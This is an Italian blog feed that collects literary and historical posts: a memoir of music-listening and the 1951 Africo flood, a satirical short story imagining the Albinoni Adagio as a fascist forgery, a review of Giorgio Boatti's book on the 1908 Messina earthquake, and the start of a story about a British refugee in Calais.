
Non importa. L'op. 106 è bellissima anche così. Beethoven è l'unico musicista che riesce a commuovere anche nelle esecuzioni più impossibili, e nelle situazioni d'ascolto più precarie.

Audiocassette in edizioni da autogrill della Quinta o della Sonata al chiaro di luna ascoltate in auto, d'estate, andando verso la spiaggia, coi finestrini aperti e quasi tutta la musica che si perde nel rumore...

C'è qualcosa di disneyano, nell'orchestrazione anni '30 di Weingartner. Quando ho visto per la prima volta Fantasia? Non ricordo, ma dovevo avere quattro o cinque anni. A Milano. I miei mi portarono al cinema, sicuramente, e qualcosa deve essersi depositato profondamente nella mia memoria. La Sesta sinfonia mi sembra di conoscerla da sempre.

Questa, però, è preistoria. La storia dei miei ascolti musicali comincia invece a metà degli anni '80. Avevo (o meglio, i miei genitori avevano) un magnetofono da tavolo a cassette, di quelli che si usavano per registrare pro-memoria e appunti vocali. Io lo usavo per sentire musica. Le cassette le avevo comprate all'uscita da scuola, prima di prendere il treno che mi avrebbe ricondotto a casa.

Il corso principale della città dove frequentavo il liceo scientifico aveva due negozi di dischi. Quello della signora Esposito era il più fornito: aveva dei meravigliosi cataloghi delle principali case discografiche. I cataloghi, però, mi mettevano in imbarazzo. Avrei voluto consultarli per ore, ma non stava bene: a un certo punto bisognava scegliere e ordinare. E poi, la cassetta arrivava dopo settimane, e a quell'epoca ero molto impaziente.

Il negozio del signor Cavo (dischi ed elettrodomestici, nomen omen) era più piccolo, ma aveva la particolarità di essere praticamente sempre aperto. Arrivavi col treno la mattina presto e trovavi già la saracinesca alzata, oppure perdevi il primo treno del ritorno, e potevi comunque rifugiarti una mezz'oretta da Cavo a contemplare lo scaffale con le cassette, senza essere disturbato (era, e per quanto ne so è ancora, un uomo di una discrezione esemplare, cosa non frequente in provincia). Potevi stare lì davanti quanto volevi prima di scegliere cosa comprare, oppure anche uscire senza aver preso niente, con un semplice grazie e arrivederci.

Ma, quando avevo diecimila lire in tasca, mi piaceva sempre entrare da Cavo per poi uscirne con una cassetta di Mozart o di Beethoven ben sistemata in mezzo ai libri - che tenevo orgogliosamente legati con una cinta elastica, per distinguermi dai miei compagni che sfoggiavano zainetti Invicta dai quali, durante l'intervallo, tiravano fuori i loro dischi di musica pop.

Intanto l'acqua bolle. Mezzo cucchiaino di sale. Apro la dispensa: pennette rigate o spaghetti? Opto per gli spaghetti: cuociono prima.

"La città dove frequentavo il liceo". Ho già scritto il nome di questa città? No. Lo scrivo adesso: Locri. Provincia di Reggio Calabria.

Da una vita, la semplice domanda "Di dove sei?" mi obbliga a fornire spiegazioni complicate e, suppongo, noiose, e anche poco convincenti. Ai tempi del liceo la risposta era semplice: di Africo. Se l'interlocutore era discreto, bastava così. Altrimenti scattava l'altra domanda: "E perché parli con l'accento milanese?" - Sai, la mia famiglia abitava a Milano, poi ci siamo trasferiti in Calabria. "Ah, allora i tuoi sono milanesi". - Niente affatto, siamo calabresi da chissà quante generazioni; ma i miei erano emigrati a Milano alla fine degli anni '60. "E come mai siete tornati qui?" - Uffa...

Da quando sto al Nord, la spiegazione è diventata ancora più involuta e implausibile. Se ci penso, mi vedo in un commissariato di polizia, seduto davanti a una lampada da tavolo puntata addosso a me, mentre l'ispettore, nascosto in una minacciosa penombra, mi inquisisce. "Ricominciamo daccapo. Di dove sei?" - Di Vigevano. "Ma non parli con l'accento di Vigevano". - No, perché sono calabrese. "Ma sul documento c'è scritto che sei nato a Milano". - Sì, perché all'epoca i miei abitavano lì. "Ah. E adesso dove abitano?" - Ad Africo. "Prima hai detto a Bianco." - Sì, anagraficamente stanno a Bianco. Sono due paesi confinanti. In realtà casa dei miei è tra Africo e Bianco, sulla statale. Ma comunque è più vicina ad Africo che a Bianco, anche se, sulla carta, è nel territorio di Bianco. Però i miei sono di Africo. "Ricominciamo daccapo..."

Intanto l'op. 106 di Beethoven, trascritta da Weingartner, è finita. Devo cambiare il CD. Ho ancora una cinquantina di minuti prima di tornare in ufficio. Cosa metto?

Scelgo velocemente, prima che la pasta scuocia: Invenzioni a due e tre voci di J. S. Bach. Glenn Gould, al pianoforte.

Butto gli spaghetti nello scolapasta. Che senso ha suonare il piano facendo finta che sia un clavicembalo? Venticinque anni che ascolto Gould e me lo chiedo.

Dicembre millenovecentoottantotto. Pomeriggio. Devo studiare per l'interrogazione di matematica. Non ne ho proprio voglia. Slego il fardello dei libri di scuola e ne estraggo il mio acquisto di oggi. Una cassetta made in U.S.A., dall'elegantissima copertina nera bordata d'oro. Bach, Inventions and Sinfonias. Glenn Gould.

Metto la cassetta nel mangianastri. Una musica astratta, trasparente, cantabile. Sembra provenire dallo spazio siderale, eppure i contorni si distinguono con precisione. Una sensazione di freddo secco, fine e pungente.

Guardai fuori. Non potevo crederci: stava nevicando. La casa dei miei è sul mare; l'Aspromonte dista solo una cinquantina di chilometri, ma qui sulla costa l'inverno è mite, la neve è un evento che capita forse una volta ogni dieci anni. Capitò quella volta. Mi alzai dalla scrivania e andai alla finestra a vedere i cristalli che scendevano lentamente.

L'inverno è mite, sulla costa ionica della Calabria. La stagione peggiore è l'autunno. A fine ottobre le piogge arrivano improvvise, massicce e violente, e possono durare per settimane. Non c'è che da chiudersi in casa e aspettare che passino.

Ho sedici anni e sto correndo attraverso la piazza principale di Locri verso la stazione. Il cielo è nero, l'aria è elettrica e tra poco scoppierà un forte temporale. Stavolta ho perso troppo tempo dalla signora Esposito, non sapevo decidermi, alla fine ho comprato la Sesta sinfonia di Beethoven e i concerti K. 488 e K. 491 nell'interpretazione di Daniel Barenboim, ma ora rischio di perdere il treno. La Sesta un po' la conosco, è quella della pubblicità. Ma il Concerto in do minore. Chissà com'è. Mozart scrive raramente in minore. Ma quando lo fa, mette i brividi. Mi precipito con il cuore in gola, mentre le bobine sbattono ritmicamente contro l'involucro di plastica nascosto fra i libri.

"Secondo le testimonianze di molta gente che ha vissuto in prima persona quei tragici giorni dell'alluvione e attraverso dei libri pubblicati da alcuni scrittori del paese, il 15 ottobre 1951 rappresenta una data indimenticabile e storica per il popolo di Africo in quanto un evento imprevisto sconvolse l’esistenza di Africo e della sua frazione, Casalnuovo. Per quattro giorni consecutivi dal 15 al 18 ottobre 1951, una bufera di vento, pioggia e nevischio si abbatté ininterrottamente sui due paesi causando frane, crolli di abitazioni e la distruzione di intere colture. La gente, spaventata, si riversò in massa in chiesa, pregando Dio e il suo Santo protettore, San Leo. La catastrofe avvenne soprattutto giorno 17 con continue frane, smottamenti di terreno, pioggia battente e violenta".

"La mattina del 18 ottobre la gente ricorda un'aria rossastra su nel cielo che metteva paura solo ad osservarla. [...] Molti furono quelli che, sorpresi dal maltempo, non fecero in tempo a mettersi in salvo, perché la piena del fiume impedì loro la via del ritorno a casa. Alla fine i due paesi contarono i danni: i morti furono sei a Casalnuovo e tre ad Africo. Gran parte del bestiame fu trascinato dal fiume, le case furono per la maggior parte distrutte e sepolte, le colture non più esistenti perché trascinate dalla pioggia."

"La lenta organizzazione della vita civile e della lotta politica fu sconvolta dall'alluvione del 1951. Una frana spazzò via il paese. I morti furono pochi, ma Africo scomparve. La storia della ricostruzione è allucinante. Per tutto un decennio gli africoti cercarono il terreno per ricomporre la loro comunità. Si iniziò una lotta tra chi voleva tornare nel vecchio territorio, dove erano restate le misere proprietà, e quelli che cercavano una sistemazione nuova. La scelta di una soluzione divise i due campi, anche la sinistra. Alla fine prevalse la tesi, sostenuta da don Stilo e dalla DC, di costruire un nuovo comune in una località distante 50 chilometri dal vecchio paese. Per lunghi anni la maggioranza degli africoti visse in un campo profughi. All'inizio del 1960 era sorta Africo Nuovo".

Un bambino di nove anni. Una bambina di due anni. Che esperienza possono aver fatto della catastrofe, e poi della loro condizione di profughi? Come l'hanno vissuta? Che tracce ha lasciato su di loro?

I miei genitori mi hanno parlato pochissimo dell'alluvione e degli eventi successivi. Hanno sempre insistito affinché studiassi, hanno incoraggiato i miei interessi per la musica, la letteratura, le scienze. Mi hanno sostenuto fino al diploma, poi fino alla laurea. Ma sugli eventi del loro paese non mi hanno mai detto molto.

Mio padre non sopporta il vento. Se è notte, e fuori c'è vento, non riesce a dormire.

"Non si è mai capito - manca una documentazione e mancano anche testimonianze orali credibili - se fu la mafia calabrese a premere per ricostruire Africo nel territorio di Bianco, senza terra, senza delimitazione territoriale e stato giuridico (com'è rimasto fino al 1980), in una località dove i contadini poveri, la grande maggioranza degli abitanti, sarebbero stati privati di quei diritti civici - il legnatico, il seminativo, il pascolo - di cui godevano nel vecchio paese. Da una montagna aspra al mare. Un caso esemplare di perdita dell'identità individuale e collettiva: gli abitanti di Africo infatti non sono più pastori né contadini, odiano il mare e non sono diventati né pescatori né marinai".

Ho diciannove anni. Preparo l'esame di maturità ascoltando la Sinfonia Italiana di Mendelssohn e la Sinfonia Incompiuta di Schubert. L'incongruità della situazione mi è divenuta insopportabile: che senso ha vivere in Calabria stando sempre chiuso in casa, parlare con un ridicolo accento settentrionale e, in generale, far finta di abitare in Mitteleuropa? A questo punto, non è meglio emigrare? Spengo il registratore e accendo la radio. Trasmettono The End dei Doors. C'è l'anniversario della morte di Jim Morrison.

Alla maturità, filosofia non è uscita. Peccato. Mi sarebbe piaciuto portare Kant. Non capisco perché tutti dicono che è un pensatore difficile: a me sembra così naturale, così ovvio. Certo: lo spazio, il tempo, sono forme della nostra mente. Ma, in sé, non esistono affatto.

Spengo lo stereo, aziono la lavastoviglie. E' ora di tornare in ufficio.

(Racconto pubblicato anche su Evulon. Nota: tutti i paragrafi tra virgolette sono tratti dal sito Internet di un mio compaesano, http://www.giuseppemorabito.it tranne l'ultimo che è tratto da Corrado Stajano, L'Italia ferita. Storie di un popolo che vorrebbe vivere secondo le regole della democrazia, Cinemazero, Pordenone 2010, pag. 96).
          Adagio in sol minore        
Roma, giugno 1984.

Una folla immensa e silenziosa riempie il centro della città. Un milione di persone, venute da tutta Italia per rendere l'ultimo saluto al segretario nazionale, abbattuto da un ictus durante un comizio. Piazza San Giovanni è troppo piccola. Le bandiere rosse sventolano nel sole, ovunque. Molti piangono.

Mentre il feretro esce dalla sede del partito, un sistema di altoparlanti inizia a diffondere una musica lamentosa, straziante.

L'Adagio di Albinoni.


Venezia, febbraio 1958.

Il freddo umido entra nelle ossa. Due uomini passeggiano lungo le Fondamenta della Misericordia, in mezzo a una fitta nebbia.

"Cusa l'è 'sta spüssa?"

Quello che ha parlato si chiama Mario e viene da Milano.

L'altro è il musicologo Andrea Mocenigo. "Quest'odore - risponde pazientemente all'amico - è l'acqua bassa. Ritirandosi, lascia scoperti i detriti sul fondo del canale. Dopo un po' ci fai l'abitudine".

"Va beh, Andrea, ma che schifo. Cià, mettiamoci al chiuso, ti offro un camparino".

Entrarono in un caffé e si sedettero. "Allora, camerata" disse Mario. "Parlami un po' delle tue ricerche".

Andrea lanciò una rapida occhiata intorno, per accertarsi che nessuno avesse sentito l'appellativo rivoltogli da Mario. Poi rispose: "Se vuoi parlare di politica, andiamo in un altro posto. Qui non è zona nostra". Gli sembrava che, da dietro il bancone, il barista li stesse già guardando male.

"Tranquillo. Niente politica. Sono venuto a Venezia solo per affari. E per rivedere qualche vecchio... amico. Lavoro per casa Ricordi, come sai. Nel tuo caso, unisco l'utile al dilettevole. Saremmo contenti di riaverti come collaboratore. Qualcuno ancora ha presente quel tuo strepitoso articolo del '40, come s'intitolava? L'arte di Verdi nell'era fascista. Poter pubblicare ancora delle robe così..."

"Altri tempi", disse Andrea.

"Altri tempi, già" concordò Mario. "Ma torneranno, torneranno, te l'assicuro... Veniamo a noi. Mi hai scritto di avere delle novità clamorose, no? E alura, tira fuori il rospo".

"No, no", Mocenigo mise le mani avanti. "Andiamoci piano. Novità grosse ancora non ne ho. Continuo a lavorare alla monografia su Vivaldi. Sarà pronta fra un anno o due. E poi c'è l'edizione delle opere di Albinoni, di cui ti ho scritto..."

"Ah, che meraviglia!" lo interruppe Mario. "Come t'invidio! Il barocco... Immergersi in quell'epoca dorata. Allora sì che regnava l'ordine: i re erano re, i nobili erano nobili, e la plebe era plebe! Ognuno al suo posto. Onore, fedeltà e disciplina! Non questa cosiddetta repubblica che c'è oggi, dove anche i figli degli operai vogliono diventare dottori. Per me un Campari e soda, tu cosa prendi?"

Era arrivata la cameriera a raccogliere le ordinazioni. Tornò poco dopo con le bevande. Mario le si rivolse ora con fare mellifluo. "Ma dica, signorina, cosa fa, lei, dopo il lavoro? Se vuole, passo a prenderla. Io sto all'Hotel Silva, ha presente? Vicino piazza San Marco. Un posto di gran lusso, sa? C'è una bellissima buvette, e si potrebbe bere insieme una flûte di champagne d'annata..."

La ragazza non rispose. Lasciò i due aperitivi sul tavolino, e si allontanò mormorando "Ma va' in mona".

"Bella gnocca, eh?" ammiccò Mario al suo amico. "Cos'è che ha detto?"

Andrea ridacchiò. "A una fanciulla / un vecchio come lei non può far nulla. Ecco cosa ti ha detto", rispose.

Mario si rabbuiò. "Lascia perdere il Mozart, quel pirlotto. Solo lui poteva farsi infinocchiare da un depravato ebreo come Da Ponte, al punto da mettere in musica versi così immorali. Se oggi non c'è più religione, è anche per colpa di gente come loro. Ma mi stavi dicendo di Albinoni. Continua".

"Ecco, mi sono immerso nella materia, come dici tu. E sai com'è, mi sono talmente immedesimato... che ho composto un pezzo. Un omaggio, un tributo, chiamalo come vuoi. Un breve adagio, per archi e organo, nello stile di Albinoni. Volevo fartelo leggere. Ecco, ce l'ho qui con me". Mocenigo si chinò, estrasse una partitura manoscritta dalla ventiquattrore e la porse a Mario.

Mario lesse con attenzione. Poi restituì la partitura ad Andrea.

"Allora?" chiese Andrea.

"Allora niente", rispose Mario. "E' bellissimo. E' un capolavoro. Lo pubblichiamo senz'altro. Però, guarda che ti sbagli. Non l'hai scritto tu, questo Adagio".

"No?" disse Andrea, stupito.

"No. Questo è un adagio inedito di Tomaso Albinoni, che faceva parte dei manoscritti del compositore, già conservati alla biblioteca di Dresda, e che tu hai fortunosamente scoperto. Come sappiamo, la biblioteca fu distrutta tredici anni fa, da un criminale bombardamento aereo angloamericano. Pochi, miseri frammenti sono scampati allo scempio, ritrovati fra le macerie. Da essi, tu hai sapientemente ricostruito questo Adagio, che ora sarà restituito alla riverente e commossa ammirazione del pubblico, quale ultima testimonianza di un'epoca di splendore ingiustamente tramontata. Spiegherai tutto nella prefazione alla partitura. Ah, tra parentesi: non preoccuparti per i diritti di copyright. Spetteranno a te, in qualità di arrangiatore. Prevedo che te ne verranno un bel po' di dané".

Andrea Mocenigo rimase senza parole. Poi balbettò: "Ma... ma sarebbe un falso bello e buono! Scusa, chi vuoi che ci creda? E quella roba, che secondo te dovrei scrivere: il 'criminale bombardamento alleato' e via dicendo! Come se la Luftwaffe, invece, sganciasse mazzi di fiori. No, mi rideranno in faccia. Non si può fare, mi spiace".

"Da che parte stai?", chiese Mario, gelido.

"Dalla tua! Ma scusami ancora, Mario. Non ti posso seguire in quello che mi proponi. Non siamo più nel 1940. C'è stata la guerra. L'occupazione tedesca, la gente se la ricorda bene, e oggi come oggi non gli puoi raccontare una storia in cui noi camerati figuriamo come le povere vittime. Senza contare che sarebbe una storia falsa, e prima o poi si verrà a sapere, e allora che figura ci faccio?"

Mario sospirò. Bevve un sorso del suo aperitivo, poi si appoggiò allo schienale. "Senti, Andrea" disse. "La nostra battaglia non comincia e non finisce oggi. Devi capire che noi lavoriamo per il lontano futuro. Hai detto bene: oggi, la gente non è bendisposta verso di noi. Per creare il Nuovo Ordine, il Reich Millenario, abbiamo dovuto procedere con estrema durezza. E, per ora, siamo stati sconfitti. Ma fra venti, trenta o quarant'anni, quando saranno scomparsi coloro che oggi ricordano certi... spiacevoli inconvenienti, allora la nostra Idea tornerà ad affascinare i popoli. Fino ad allora, si tratta di guadagnare terreno, a poco a poco, tenacemente. Partendo anche dai dettagli. E poi, il bombardamento di Dresda c'è stato per davvero, no? Cominciamo col dirlo".

"Sì, ma la storia dell'Adagio trovato fra le macerie è una balla", rispose Andrea.

Mario si spazientì. "Balla, non balla! Chi se ne frega! La verità è ciò che riesci a far passare per tale. Tu offri al pubblico una musica seducente e ben scritta, condita da una storia romantica. Vedrai che ti crederanno. Populus vult decipi, caro mio. Et decipiatur! Il popolo vuole essere ingannato. E allora, lo si inganni! E comunque" continuò Mario "se vuoi pubblicare con noi, queste sono le condizioni. E adesso usciamo, ché mi son rotto gli zebedei a stare qui".

All'uscita del locale, Mario e Andrea furono circondati da una torma di ragazzini in maschera, che improvvisarono un girotondo, e che se ne andarono solo quando Andrea, ridendo, ebbe dato loro qualche monetina. Mario, intanto, ostentava la più completa indifferenza.

"Ma tu dici che l'Adagio piacerà? Non somiglia troppo a Mascagni?", chiese Andrea.

"Ma va là! Il tuo è barocco purissimo, te lo dico io. Farà furore. Suonerà come le campane a morto, contro la robaccia negroide-bolscevica che va di moda oggi. E comunque, Mascagni era dei nostri anca lü".

Si allontanarono nella nebbia, mentre il puzzo di fogna si faceva sempre più forte.

(Pubblicato su Evulon il 21 aprile 2011. Nell'immagine: il bombardamento di Guernica del 26 aprile 1937. Fotografia tratta dalla pagina che ho linkato sopra).


          Il terremoto di Messina del 1908        
Ripubblico qui di seguito una mia recensione (risalente a sei anni fa) al libro di Giorgio Boatti, La terra trema. Messina 28 dicembre 1908. I trenta secondi che cambiarono l'Italia, non gli italiani, Mondadori, Milano 2004, pp. 414, € 18,50.

"Ore 5.20 terremoto distrusse buona parte Messina - Giudico morti molte centinaia - case crollate sgombro macerie insufficienti mezzi locali - urgono soccorsi per sgombro vettovagliamento assistenza feriti - ogni aiuto sarà insufficiente".

E' il testo del telegramma con cui il governo italiano apprese del terremoto di Messina: inviato dal comandante di una nave militare da una stazione telegrafica calabrese alle 14.50 del 28 dicembre 1908, giunse al Ministero degli Interni alle 17.35 dello stesso giorno, cioè dodici ore dopo il disastro.
In questo telegramma la valutazione dei danni è naturalmente molto sottostimata: il terremoto, dell'undicesimo grado della scala Mercalli, distrusse quasi completamente le città di Messina e Reggio Calabria e causò, secondo le statistiche ufficiali, 77.283 morti (in altre valutazioni la cifra oscilla fra le 80.000 e le 140.000 vittime).

A volte, quando ci si sofferma a considerarla, la storia del nostro paese sembra un'ininterrotta sequela di disastri. Ogni generazione ha la sua catastrofe civile da ricordare e anzi spesso più d'una, a volte d'origine naturale e a volte umana. Il copione sembra sempre lo stesso: evento tragico; prime ricostruzioni giornalistiche, concitate e a forti tinte; interviste ai superstiti; il cordoglio della nazione; le autorità dello stato si precipitano sul luogo dell'evento; polemiche sulla tempestività dei soccorsi e sulla loro efficienza; i parenti delle vittime accusano; funerali solenni; ancora polemiche finché i riflettori dei mass-media si spengono.

Questo libro di Giorgio Boatti sul terremoto di Messina si basa in gran parte su uno studio accurato dei giornali dell'epoca. Una prima constatazione è che in essi lo schema che ci è tristemente familiare appare già operante. Il governo di Giovanni Giolitti dovette ben presto difendersi dalle accuse di non aver compiuto in modo adeguato e tempestivo l'opera di soccorso delle popolazioni colpite. In particolare, l'opinione pubblica dell'epoca fu colpita dal fatto che i primi soccorsi organizzati non vennero apprestati da parte italiana, bensì, a partire dalla mattina del 29 dicembre, dagli equipaggi di squadre navali russe e inglesi che casualmente si trovavano nei pressi al momento del terremoto (equipaggi che, secondo tutte le testimonianze, svolsero la loro opera eroicamente). I primi soccorritori italiani, dell'ottavo reggimento dei Bersaglieri, provenienti da Palermo, sbarcarono solo nel pomeriggio inoltrato dello stesso giorno.

Ma la cosa che più colpisce nella reazione all'evento da parte del governo italiano non consiste tanto nella lentezza o inefficienza dei soccorsi, per la quale si possono addurre delle circostanze attenuanti: l'Italia era allora un paese povero, sottosviluppato rispetto alle altre nazioni europee; la stessa tecnologia dell'epoca non consentiva una grande rapidità di reazione; il terremoto danneggiò molto seriamente le infrastrutture e le vie di comunicazione nelle zone colpite; infine non esisteva ancora il moderno concetto di protezione civile e lo Stato italiano non era preparato ad affrontare simili emergenze.

Ciò che realmente sorprende è che fin dall'inizio, il governo e una parte della pubblica opinione sembrarono considerare il terremoto principalmente come un problema di ordine pubblico. Fra le prime preoccupazioni si registrano, infati, il timore delle epidemie e la paura dei saccheggi.

Scrive il quotidiano "La Tribuna" del 2 gennaio 1909: per impedire un'epidemia occorre "compiere l'opera distruggitrice perpetrata dal terremoto: buttare giù quel poco che resta di queste case, buttarlo giù nel modo più energico, più rapido: a colpi di cannone. Far sgomberare i pochissimi superstiti e dalle navi bombardare queste scarnificate vestigia della città (...) non v'è altra via per impedire che il luogo dov'era Messina diventi un centro d'infezione a cui nessuno osi più avvicinarsi". (p. 118). "Il Mattino" del 6-7 gennaio rilancia la stessa idea attribuendone la paternità al Re, mentre "Il Messaggero" del 6 gennaio suggerisce di ricorrere al fuoco: "Si dia in preda alle fiamme [Messina] per purificarla, o si ricostruisca con piccole case come una cittadina giapponese" (p. 119).

E' sconcertante che fra le prime misure suggerite dopo un terremoto, vi sia quella di deportare la popolazione colpita e poi bombardare la città: sembra che nel caso di Messina non si sia arrivato a tanto solo perché, a distanza di molti giorni dalla catastrofe, si continuavano a trovare dei sopravvissuti sotto le rovine. Ma si rimane ancora più stupiti quando si apprende che uno dei motivi che suggerirono queste misure estreme, fu la necessità di preservare dai furti i valori rimasti sotto le macerie e soprattutto i caveaux delle banche.

Il regio decreto del 4 gennaio 1909 stabiliva lo stato d'assedio nei territori colpiti dal terremoto e conferiva i pieni poteri per l'emergenza al generale di corpo d'armata Francesco Mazza (annota Boatti che una diceria popolare fa discendere dal suo cognome l'etimologia della locuzione siculo-calabra "non capire una mazza"). Installatosi con il suo stato maggiore a bordo di una lussuosa nave militare al largo, e senza scendere quasi mai a terra, il generale Mazza provvide a circondare Messina di un cordone sanitario di truppe, cui diede l'ordine di sparare su chiunque dall'esterno si avvicinasse alla città senza lasciapassare. Questo per impedire che bande di saccheggiatori si riversassero sul luogo del disastro.

Ecco alcuni passi tratti dal bando emanato dal generale Mazza il 10 gennaio, riportato integralmente a p. 374 del libro di Boatti: "1 - Sono sospesi fino a nuovo ordine gli scavi delle macerie da parte di privati cittadini, sia per rintracciare cadaveri, sia per recuperare valori. (...) Le persone trovate a scavare saranno considerate come ladri e deferite al tribunale di guerra. [Questo mentre ancora i parenti delle vittime cercavano i loro cari sotto le macerie, n.d.r.] Anche le truppe, nei lavori stradali che compiono, si limiteranno esclusivamente ai lavori di assestamento evitando di eseguire scavi. (...) 3 - E' proibito l'ingresso in città a tutte le persone non munite di regolare permesso rilasciato dall'autorità politica della provincia da cui provengono..."

Il 6 gennaio l'autorità militare ordina di sospendere la distribuzione di viveri ai superstiti. Saranno distribuiti viveri a bordo delle navi, solamente ai profughi che accetteranno d'imbarcarsi per lasciare la città. L'idea, commenta Boatti, è perciò quella di "utilizzare l'arma della fame e della sete per imporre (..) la desertificazione di Messina" (p. 135). Questa cinica soluzione non viene attuata perché, come accennavo sopra, alcuni dei sepolti sotto le macerie si ostinano a farsi ritrovare vivi anche dopo giorni e giorni dal terremoto; ma altresì per le perplessità espresse da una parte della pubblica opinione e anche per le proteste degli stessi messinesi: un'assemblea autoconvocata di cittadini chiede il 19 gennaio la revoca dello stato d'assedio. Stato d'assedio che - osserva con sarcasmo il corrispondente de "Il Mattino" del 6 gennaio 1909 - sembra avere lo scopo precipuo di garantire "il sonno ai morti e la biancheria, gli oggetti e i titoli di banca ai vivi" (p. 137).

In seguito Giolitti giustificò la scelta di dare priorità al recupero dei valori, adducendo il timore di speculazioni al ribasso sulla lira (p. 146). Boatti propone un'altra spiegazione: "La difesa delle proprietà, la guardia ai caveaux delle banche, il salvataggio dei lingotti che mette in secondo piano altri interventi è una linea d'azione adottata, anzi, sbandierata, perché dal disordine - anche sociale - del terremoto emerga alfine una visione dove a prevalere è l'ordine, lo status quo, l'autorità e il prestigio dell'apparato dello Stato. (...) Salvare milioni, o lingotti, dopo tutto è meno complicato che cercare di strappare alla morte, in una gara contro il tempo, migliaia di sepolti vivi" (p.155).

A questo atteggiamento grettamente calcolatore da parte degli apparati dello Stato si contrappone lo slancio di solidarietà manifestato da più parti della società. In poche settimane si raccolgono più di ventun milioni di lire (dell'epoca) in sottoscrizioni, buona parte delle quali provenienti dall'estero. La cosa non manca anzi di creare preoccupazioni nelle alte sfere: non si rischierà di creare l'abitudine all'assistenza, al farsi mantenere dallo Stato, a quello che oggi si chiama assistenzialismo? Sua Altezza Reale il Duca d'Aosta esprime autorevolmente questo cruccio quando afferma che "è immorale mantenere un'orda di vagabondi e creare oziosi" (p. 234).

Non si trattò soltanto di solidarietà finanziaria. Volontari affluirono da tutta Italia per prestare opera di soccorso. Boatti dedica particolare attenzione alla vicenda di uno di essi, il parlamentare parmense Giuseppe Micheli, un deputato cattolico che, arrivato a Messina pochi giorni dopo il terremoto, subito mise in piedi, con la collaborazione dell'Arcivescovo, un "comitato messinese di soccorso", a carattere volontario, che si rivelò un'organizzazione semiufficiale sotto molti aspetti più efficiente di quella statale (pp. 263-68). Un'altra figura che emerge è quella dell'ex sindaco socialista di Catania Giuseppe De Felice Giuffrida, che era stato protagonista pochi anni prima di una delle esperienze politico-amministrative più avanzate della Sicilia dell'epoca: da sindaco della sua città aveva promosso forme di socializzazione dei servizi pubblici (forni municipalizzati, cucine popolari), la cui esperienza risultò ora preziosa per organizzare la distribuzione dei viveri ai superstiti del terremoto (pp. 203-4).

La miseria delle regioni colpite dal terremoto impressionò molti degli osservatori e degli inviati giunti sul luogo della catastrofe. Qualcuno propose dei rimedi; ad esempio il letterato Giovanni Cena suggerì, naturalmente quale misura temporanea, quella di emigrare. "Parecchi anni di duro tirocinio all'estero (...): poi gli emigranti calabresi torneranno altri uomini e non domanderanno più nulla, fuorché il loro buon diritto di cittadini" (p. 381). (Oggi si può dire che noi calabresi abbiamo seguito il consiglio, e che gli "anni di tirocinio" sono stati effettivamente molti, anzi durano tuttora. Sarà che siamo un po' lenti ad imparare?).

Il libro di Boatti non manca di sottolineare l'imprevidenza e anche l'incoscienza generalizzata che indussero i cittadini di Messina e Reggio Calabria (le città che oggi qualcuno vorrebbe unire con un ponte lungo tre chilometri, inutile, dannoso e pericoloso) a costruire tutto, anche gli edifici pubblici, al di fuori delle più elementari regole di sicurezza. Le fotografie che corredano il volume illustrano un panorama di distruzione impressionante, ove emerge, unica costruzione intatta perché edificata con criteri antisismici, il villino di un medico messinese.

Nella sua ricognizione della pubblicistica dell'epoca, Boatti dedica due capitoli ad alcune singolari polemiche: quella (cap. XVII) fra autorità laiche e cattoliche riguardo alla sistemazione degli orfani del terremoto (il Vaticano pretendeva ovviamente che fossero tutti educati "in Cristo" nei suoi istituti), e quella concernente il destino dell'Università di Messina, di cui alcuni illustri cattedratici proposero senz'altro la chiusura, in base alla considerazione che di università ce n'erano fin troppe e che in particolare quelle meridionali erano diplomifici per giovani sfaccendati (pp. 276-7).

Boatti chiude la sua esposizione con un'osservazione suggestiva: la "meglio gioventù" dei volontari del terremoto, poco dopo, buttò via inutilmente la propria carica di idealismo e di amor patrio, la propria volontà di fare e di cambiare le cose, nelle trincee della Prima guerra mondiale. Agli ordini (aggiungo io) di quella medesima classe dirigente ignorante, ottusa, autoritaria, incapace e meschinamente arroccata nella difesa dei propri privilegi, che aveva già dato prova di sé nella gestione ufficiale dell'emergenza-terremoto e che di lì a poco "inventerà" il fascismo.

Questo testo di Giorgio Boatti fa luce su un episodio importante e poco conosciuto della nostra storia nazionale, e lo fa (a differenza della pseudo-storiografia sensazionalistica e superficiale oggi di moda) con grande scrupolosità e metodo: il volume si chiude con ben cento pagine di appendice documentaria e di note al testo. Anche solo per questo sarebbe da raccomandare. Per chi come me proviene da una delle zone disastrate, la lettura di questo libro è irrinunciabile e consente di ritrovare la radice di mali antichi.

Originariamente pubblicato il 22 febbraio 2005, qui.
          Stella rossa sull'Europa        
"Buongiorno, Anne. Buon anno".
"Buongiorno, Valentin. Buon anno anche a te. Novità?"
"Sì. Un nuovo arrivo. Sabato notte. Hai il colloquio già fissato per le undici. Trovi tutti i dettagli in agenda".
Anne Dupont, psicologa del Centro di Prima Accoglienza di Calais, entrò nel suo ufficio, accese il terminale e consultò la sua agenda elettronica.

Lunedì 5 gennaio 2011, ore 11,00. Colloquio con Monsieur Philip Brasser. Cittadino britannico. Età 38. Celibe. Operazione di salvataggio in mare, Canale della Manica, acque internazionali, 3 gennaio u.s. Condizioni fisiche buone. Non parla francese. Attribuzione provvisoria: codice blu.

Bene, pensò Anne. Un rifugiato politico. Iniziare l'anno nuovo con un codice blu era di buon auspicio. Il colloquio era di lì a due ore. Non c'erano altri impegni per la giornata. Completò con calma alcuni referti clinici iniziati la settimana precedente, fece una partita a Tetris, chattò con alcuni amici in Internet. Quando fu il momento, si aggiustò il make-up e si recò in sala colloqui.

Era una stanza non troppo ampia, arredata come un normale studio specialistico ma con qualche accorgimento per mettere gli ospiti a proprio agio: colori pastello, luci soffuse, lettino basso, comoda poltrona. Su quest'ultima, di fronte alla scrivania della dottoressa, era già seduto il signor Brasser.

"Good morning, Mr. Brasser. Prima di tutto, come sta?"
La domanda non era solo formale. L'uomo appariva molto provato. I tanti capelli bianchi, la pelle del viso magro solcata da numerose rughe, le profonde occhiaie dietro le lenti spesse, lo facevano sembrare più vecchio di dieci anni rispetto alla sua età anagrafica. Al posto degli abiti che indossava al momento del suo salvataggio, fradici e inservibili, gli avevano fornito un nuovo completo, che era tuttavia di due numeri più largo e accentuava la gracilità del suo fisico. Gli tremavano le mani.
Quegli scafisti maledetti, pensò Anne.
"Adesso sto meglio, grazie. Certo, suppongo che la notte passata all'addiaccio su quel canotto non abbia migliorato granché la mia cera. Ma ho fatto una buona dormita, qui da voi, e la vostra cucina è ottima". La sua voce era ferma, con una sfumatura d'ironia. "Solamente, non sono riuscito a procurarmi neppure una sigaretta, dottoressa..."
